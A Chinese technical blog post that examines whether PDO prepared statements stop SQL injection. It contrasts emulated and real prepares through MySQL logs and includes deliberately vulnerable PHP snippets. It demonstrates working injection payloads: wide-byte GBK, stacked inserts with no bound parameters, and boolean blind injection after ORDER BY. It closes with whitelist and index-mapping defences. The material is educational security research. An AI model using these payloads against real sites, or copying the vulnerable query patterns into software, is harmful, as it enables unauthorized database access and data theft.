刚学web安全的时候学到sql注入防御,那些文章基本上都会说利用pdo预编译就可以近乎完美防御sql注入,或者看到一些渗透经验贴,遇到sql经过预编译的网站师傅们总是会建议赶紧换个站,那么预编译究竟能不能完美防御sql注入,或者说预编译下的sql注入有什么奇技淫巧吗?
首先是第一个问题,为什么预编译或者说参数化查询可以防止sql注入呢?我之前看过的一个面经上是这么写的:
使用参数化查询数据库服务器不会把参数的内容当作 sql 指令的一部分来执行,是在数据库完成 sql 指令的编译后才套用参数运行。简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 。
回顾一下sql注入发生的原因,sql注入之所以会产生是因为服务器错误把用户的输入当作了执行的语句。假设这里有一个sql语句:
select username from test where id = $_POST[id]
如果用户正常输入1,语句则为:
select username from test where id = 1
那么显然查询出来的就只会是test表中id为1的那个username,然而如果用户输入的是1 union select version(),那么语句就变为了:
select username from test where id = 1 union select version()
最后查询出来的就会使id=1的那个username以及数据库的版本,这是因为本来理论上查询的应该是id为”1 union select version()”的这个用户,而数据库执行语句的时候把它分开了,视作了查询select username from test where id = 1以及select version()。
回看到预编译的原理,如果源码这里提前对$_POST[id]进行了处理,那么数据库相当于会提前对整个语句进行编译,把它编译成select username from test where id = 用户输入,因此整个语句的功能已经提前定死了,就是查询id = 用户输入的username,不再会像之前一样错误理解成查询id=1的用户然后再查询版本,在我看来预编译的作用,就是消除了sql语句的歧义。
那么回看最初我们提出的疑问,预编译真的能完美防御sql注入吗?有没有什么奇技淫巧能绕过预编译进行注入呢?
有次刷微信看到一篇文章:预编译真的能完美防御SQL注入吗?
这里面提到一个很有趣的点——预编译是将sql语句参数化,刚刚的例子中 where语句中的内容是被参数化的。这就是说,预编译仅仅只能防御住可参数化位置的sql注入。那么,对于不可参数化的位置,预编译将没有任何办法。
那么哪些是不可参数化的位置呢,原作者说:
为了研究原理,我找到了一篇文章,这个应该是最早提出order by后没法参数化所以可以被sql注入的(其他文章都是相互抄,我们简中是这样的)—— SQL预编译中order by后为什么不能参数化原因,文章里是这么解释的
大概就是说,order by后面的字段是不能加引号的,而预编译后会自动加上引号,因为这个矛盾所以order by的后面不能进行预编译。不过当时他解释原因是因为自动加引号的setString()方法,而这个方法似乎只是java下存在的,而这篇文章我准备从原理出发研究研究php下的注入可能(其实这种思路不同语言是共通的)
真预编译与假预编译
回到最初的问题——预编译真的能完美防御sql注入吗?有没有什么奇技淫巧能绕过预编译进行注入呢?
首先,我们开启数据库的日志功能,从数据库的角度看看预编译究竟对我们的sql语句做了什么处理。
show variables like 'general%';
general_log显示的是是否开启日志功能,general_log_file显示的是日志位置。如果是off的话可以使用set GLOBAL general_log = 1;
开启日志功能(得root),反之使用set GLOBAL general_log = 0;
关闭日志。
事实上数据库里有两种预编译,一种称作模拟预编译,另一种是真正的预编译,需要格外设置。(以下测试环境为php5.4.45+apache+mysql5.7.26,对于预编译正常的分析不同环境应该影响不大,需要注意环境的是后面绕过注入的部分)
虚假的预编译
默认的,或者说现在网上一般讲的预编译是这么写的:
<?php
$username = $_POST['username'];
$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$stmt = $db->prepare("SELECT password FROM test where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
我们post一个username=root
不出意外的查出了值,我们去日志看看预编译对我们传入的值做了什么处理:
2023-10-22T12:59:55.149736Z 5 Connect root@localhost on test using TCP/IP
2023-10-22T12:59:55.149993Z 5 Query SELECT password FROM test where username= 'root'
2023-10-22T12:59:55.150987Z 5 Quit
只有connect query 然后就quit,你可能会奇怪,我们不是绑定了参数然后预编译了吗,怎么感觉和正常的sql语句逻辑差不多呢,我们再post一个’root’试试:
这次竟然啥也没查出来,到底是怎么回事!我们去日志看看:
2023-10-22T13:12:13.619712Z 9 Connect root@localhost on test using TCP/IP
2023-10-22T13:12:13.619960Z 9 Query SELECT password FROM test where username= '\'root\''
2023-10-22T13:12:13.620931Z 9 Quit
这次你肯定恍然大悟了,为什么默认的预编译模式模拟预编译被称作虚假的预编译,因为他在sql执行的过程中其实根本没有参数绑定、预编译的过程,本质上只是对符号做了过滤,比如假如我们输入注入语句root’ union select database()#,日志里的数据为:
2023-10-22T15:34:50.356115Z 11 Connect root@localhost on test using TCP/IP
2023-10-22T15:34:50.356353Z 11 Query SELECT password FROM test where username= 'root\' union select database()#'
2023-10-22T15:34:50.357303Z 11 Quit
那为什么开发者要做一个虚假的预编译呢,那是因为一个参数——PDO::ATTR_EMULATE_PREPARES,这个选项用来配置PDO是否使用模拟预编译,默认是true,因此默认情况下PDO采用的是模拟预编译模式,设置成false以后,才会使用真正的预编译。开启这个选项主要是用来兼容部分不支持预编译的数据库(如sqllite与低版本MySQL),对于模拟预编译,会由客户端程序内部参数绑定这一过程(而不是数据库),内部prepare之后再将拼接的sql语句发给数据库执行。
真正的预编译
我们在原先的代码上把ATTR_EMULATE_PREPARES设为false取消模拟预编译
<?php
$username = $_POST['username'];
$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $db->prepare("SELECT password FROM test where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
我们post一个username=root
看看日志
231018 23:51:17 61 Connect root@localhost on test
61 Prepare SELECT password FROM test where username= ?
61 Execute SELECT password FROM test where username= 'root'
这时数据库中执行的顺序变成了:先连接,然后准备语句,用问号?占位,接着用输入替换问号?执行语句,专业点的说法叫做:
- 建立连接;
- 构建语法树;
- 执行
这也是为什么我们之前说的,预编译的作用是让整个语句的功能已经提前定死,消除了sql语句的歧义。当我们输入username= ‘root’同样会没有任何输出
我们看一下数据库的日志:
2023-10-22T15:49:30.089718Z 24 Connect root@localhost on test using TCP/IP
2023-10-22T15:49:30.089986Z 24 Prepare SELECT password FROM test where username= ?
2023-10-22T15:49:30.090041Z 24 Execute SELECT password FROM test where username= '\'root\''
这时我们再输入注入语句root' union select database()#
2023-10-22T15:43:23.500819Z 17 Connect root@localhost on test using TCP/IP
2023-10-22T15:43:23.502097Z 17 Prepare SELECT password FROM test where username= ?
2023-10-22T15:43:23.502165Z 17 Execute SELECT password FROM test where username= 'root\' union select database()#'
2023-10-22T15:43:23.502600Z 17 Close stmt
2023-10-22T15:43:23.502627Z 17 Quit
分析预编译的原理其实可以发现,预编译其实是为了提高MySQL的运行效率而诞生(而不是为了防止sql注入),因为它可以先构建语法树然后带入查询参数,避免了一次执行一次构建语法树的繁琐,对于数据量以及查询量较大的数据库能极大提高运行效率。从原理出发,可以看出来有些方面预编译并不能完全阻止预编译。
预编译下的sql注入点
宽字节
宽字节注入出现的本质就是因为数据库的编码与代码的编码不同,导致用户可以通过输入精心构造的数据通过编码转换吞掉转义字符。
看我们刚刚sql语句的执行日志可以发现对于模拟预编译理论上是存在宽字节注入的,因为它只是本地对执行的sql语句进行一次模拟的预编译然后就把语句发给数据库执行去了,而且只是使用了\来进行转义,如果我们能有什么办法吞掉这个\,那是不是我们就可以执行恶意的sql语句了呢
测试环境:php5.3.29+apache2.4.39+mysql5.7.26
<?php
$username = $_POST['username'];
$db = new PDO("mysql:host=localhost;dbname=test;charset=gbk", "root", "root123");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$db->query('SET NAMES GBK');
$stmt = $db->prepare("SELECT password FROM test where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
当我们post
username=1%df%27%20union%20select%20database();#
查看日志:
2023-10-26T00:51:20.931085Z 14 Connect root@localhost on test using TCP/IP
2023-10-26T00:51:20.931577Z 14 Query SET NAMES GBK
2023-10-26T00:51:20.931809Z 14 Query SELECT password FROM test where username= '1\運' union select database();#'
2023-10-26T00:51:20.933058Z 14 Quit
这个语句在navicat里是能正常执行的,但我并没有在网页上获得输出,可能是我版本不够低?我看的那篇文章里5.2.17是可以成功实现的
这里猜猜为什么真编译是不能吞掉\执行恶意语句呢,是因为提前绑定参数了吗?因为当我们设置编码之后,日志里查询参数都被hex了:
2023-10-26T01:20:47.891775Z 23 Prepare SELECT password FROM test where username= ?
2023-10-26T01:20:47.891842Z 23 Execute SELECT password FROM test where username= 0x31DF2720756E696F6E2073656C65637420646174616261736528293B23
2023-10-26T01:20:47.892337Z 23 Close stmt
2023-10-26T01:20:47.892379Z 23 Quit
因此相比于模拟预编译,真编译的安全性大的多,现在可能的几种针对预编译的注入方法也都是在模拟预编译下实现的。
没有参数绑定
没有参数绑定的预编译等于没有预编译,无论是真编译还是模拟预编译,没有参数绑定等于没编译,并且由于pdo默认支持堆叠注入,我们可以通过堆叠注入先插入值然后查询插入的值获取输出结果。
<?php
$id = $_POST['id'];
$dbs = "mysql:host=localhost;dbname=test";
$dbname = "root";
$passwd = "root123";
$conn = new PDO($dbs, $dbname, $passwd);
# 预处理语句
$stmt = $conn->prepare("SELECT * FROM test where id= $id");
$conn -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$conn=null; # 关闭链接
?>
我们可以post一个
id=1;insert into test(id,username,password) values(114514,database(),user())
接着post id=114514
可以看到我们成功获取了database()以及user()的输出结果,查看日志,可以发现数据库执行了两条语句
2023-10-27T01:06:09.232609Z 173 Connect root@localhost on test using TCP/IP
2023-10-27T01:06:09.232961Z 173 Query SELECT * FROM test where id= 1;
2023-10-27T01:06:09.233159Z 173 Query insert into test(id,username,password) values(114514,database(),user())
2023-10-27T01:06:09.233581Z 173 Quit
无法预编译的位置
之前其实提到过,order by的后面是没法预编译的,因此遇到可控排序功能一般一注一个准,我们来通过日志研究一下这到底是为什么
<?php
$col = $_POST['col'];
$dbs = "mysql:host=localhost;dbname=test";
$dbname = "root";
$passwd = "root123";
$conn = new PDO($dbs, $dbname, $passwd);
$conn -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
# 预处理语句
$stmt = $conn->prepare("SELECT * FROM test order by :col");
$stmt->bindParam(':col', $col);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$conn=null; # 关闭链接
?>
假如我们想按照password进行排序,post一个col=password
你可能觉得没什么问题,我们去日志看看
2023-10-27T01:23:43.100087Z 187 Connect root@localhost on test using TCP/IP
2023-10-27T01:23:43.100579Z 187 Query SELECT * FROM test order by 'password'
2023-10-27T01:23:43.101405Z 187 Quit
可以看到它自动给我们传入的值password的加了引号,然而这其实是与我们的目标背道而驰的:
order by在底层查询过程中是直接把order by后面这个值进行利用然后排序,如果加上引号的话数据库会索引失败,查询结果其实等同于order by NULL或者order by TRUE,本质上是一条不合法的请求。因此无论是order by还是group by,他们后面的参数都是不能带引号的,而预编译中参数绑定的过程会自动给它们带上引号,这就导致这些位置上的参数是不能被预编译的,因为它的执行结果是错误的。所以渗透的时候遇到疑似排序的功能我们可以大胆的去尝试sql注入,一般都能成功。
这里也补充一下order by后面以及group by 后面怎么注入,有报错回显的直接报错注入就行了,这个简单,没有报错的话我们可以通过构造布尔条件进行注入:
可以看到随rand()中值真假的不同,排序出来的结果也是不同的,因此可以通过这个特征进行布尔注入,比如输入rand(ascii(mid((select database()),1,1))>96),如果成立和不成立输出结果显然是不同的,如果我们成功注入,输出应该是root dingzhen admin的顺序
通过这种方法我们就可以盲注出想要的数据。
从这个思路我们其实就不难理解为什么有些位置不能被预编译,除了order by和group by还有吗?当然有,只要是加了引号会导致语句执行结果错误的位置都是不行的:
表名:
列名:
limit:
join:
总而言之就一个思路,不能加引号的位置就不能预编译。这里我们就可以看出预编译很明显的缺陷,当然,我们也不能错怪预编译的设计者们,因为这玩意儿本来设计之初就不是给你防注入,是用来在大批量查询时减少语法树构造的,因此出现差错也是可以理解的,当然这种差错就给了黑客可乘之机。
这里再引申一下,对于order by、ground by这种无法进行预编译的场景我们该怎么防御呢,比如Mybaits必须使用${}order by参数,可通过白名单思路对传入的参数进行判断,或者使用间接对象引用,前端传递引用数字等,用于与后端排序参数做数组映射,避免前端直接传入order by参数造成sql注入。
比如我们想执行select xx order by name,那么前端就不要传入name这个值,而是数字比如1,然后在后端将1与真正想查询的参数name进行对应,然后再执行sql语句。比如映射表为1->name,2->age,3->gender,想要查询order by name、age、gender的结果前端只用传入1、2、3即可,通过防止直接执行用户传入的值来从根本上防止sql注入的产生。(order by后的注入在我实习期间在xhs真实出现过,当时的解决办法就是间接引用)